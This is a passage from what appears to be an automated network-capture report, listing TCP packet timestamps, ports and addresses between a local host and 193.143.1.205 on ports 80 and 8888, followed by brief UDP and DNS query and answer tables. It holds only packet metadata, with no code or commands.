Jan 11, 2025 04:48:30.524971962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.524993896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525026083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525044918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525059938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525093079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525115967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525126934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525161028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525176048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525201082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525211096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525240898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525243998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525284052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525295973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525316000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525350094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525365114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525382996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525424957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525434017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525437117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525453091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525490046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525507927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.525526047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.525532007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.530822992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530839920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530852079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530864954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530881882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.530886889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530896902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530914068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530914068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.530925035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530936956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.530953884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.530967951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.530980110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.530985117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531050920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531060934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531079054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531091928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.531095028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531105042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531112909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531117916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.531121016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531151056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.531174898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.531274080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531291962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531302929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531327009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531331062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.531339884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.531368971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559391022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559446096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559473991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559484959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559535027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559537888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559570074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559607983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559611082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559660912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559695959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559706926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559734106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559746027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559770107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559782028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559820890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559848070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.559854031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559902906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.559904099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.562215090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.562259912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.576730967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576752901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576766014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576776981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576788902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576790094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.576801062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576813936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.576850891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.576874971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.576913118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.591931105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.591996908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.592034101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.592051983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.592067957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.592107058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.592113018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.592142105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.592178106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.592192888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608314037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608381987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608385086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608458996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608505011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608521938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608592033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608628035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608637094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608670950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608702898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608714104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608760118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608803988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608814955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608866930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608906984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608916998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.608957052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.608998060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609000921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609008074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609046936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609054089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609076977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609114885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609128952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609165907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609214067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609215021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609251022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609294891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609302044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609335899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609369993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609380960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609407902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609441996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609448910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609477043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609518051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609524012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609556913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609594107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609601021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609643936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609678984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609690905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609716892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609755993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609762907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609813929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609854937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609869003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609903097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609936953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.609945059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.609988928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610022068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610030890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.610057116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610090017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610105038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.610124111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610156059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610166073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.610188961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610236883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610244989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.610271931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610305071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610313892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.610340118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610373020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610383034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.610419989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.610456944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615432024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615520000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615572929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615577936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615631104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615664005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615674019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615736961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615771055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615778923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615806103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615839005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615847111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615874052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615906954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615916014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615945101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.615983009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.615994930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616029024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616061926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616070986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.616100073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616130114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616142988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.616163969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616198063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616208076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.616230965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616265059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616276026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.616300106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616332054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.616338015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623224974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623279095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623297930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623352051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623404026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623408079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623442888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623493910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623502970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623528004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623562098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623568058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623598099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623631001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623634100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623666048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623701096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.623714924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623734951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623768091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.623778105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.646974087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.651638031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651649952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651691914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651710987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.651735067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651747942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651757002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.651758909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651771069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651784897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.651818991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.651834965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651966095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651974916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651985884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.651998043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.652007103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.652008057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.652036905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.652046919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.652086020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.652121067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.652157068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.652157068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.652188063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.652230978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.671375990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671391964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671403885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671412945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671425104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671435118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671446085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.671452999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.671474934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.684312105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684335947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684349060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684359074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684370995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684381008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.684382915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684396029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.684423923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.684452057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.700831890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.700906038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.700942993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.700957060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.700977087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701020002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701030970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.701076984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701111078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701122046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.701168060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701205969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701210976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.701239109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701275110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701282024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.701308966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701343060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701354980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.701375961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701409101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701415062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.701443911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701482058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.701484919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.702505112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.702558994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.771286011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.779804945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.896292925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:31.697587013 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:31.702467918 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:31.702550888 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:31.702721119 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:31.707458973 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:32.504890919 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:32.558684111 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:32.722884893 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:46.552937031 CET	50469	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:48:46.557761908 CET	53	50469	1.1.1.1	192.168.2.5
Jan 11, 2025 04:48:46.557828903 CET	50469	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:48:46.557900906 CET	50469	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:48:46.562695026 CET	53	50469	1.1.1.1	192.168.2.5
Jan 11, 2025 04:48:47.016834021 CET	53	50469	1.1.1.1	192.168.2.5
Jan 11, 2025 04:48:47.038949966 CET	50469	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:48:47.044038057 CET	53	50469	1.1.1.1	192.168.2.5
Jan 11, 2025 04:48:47.044131041 CET	50469	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:48:44.787610054 CET	58245	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:48:46.552390099 CET	53	50266	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:48:44.787610054 CET	192.168.2.5	1.1.1.1	0x969b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:48:43.796227932 CET	1.1.1.1	192.168.2.5	0x212b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
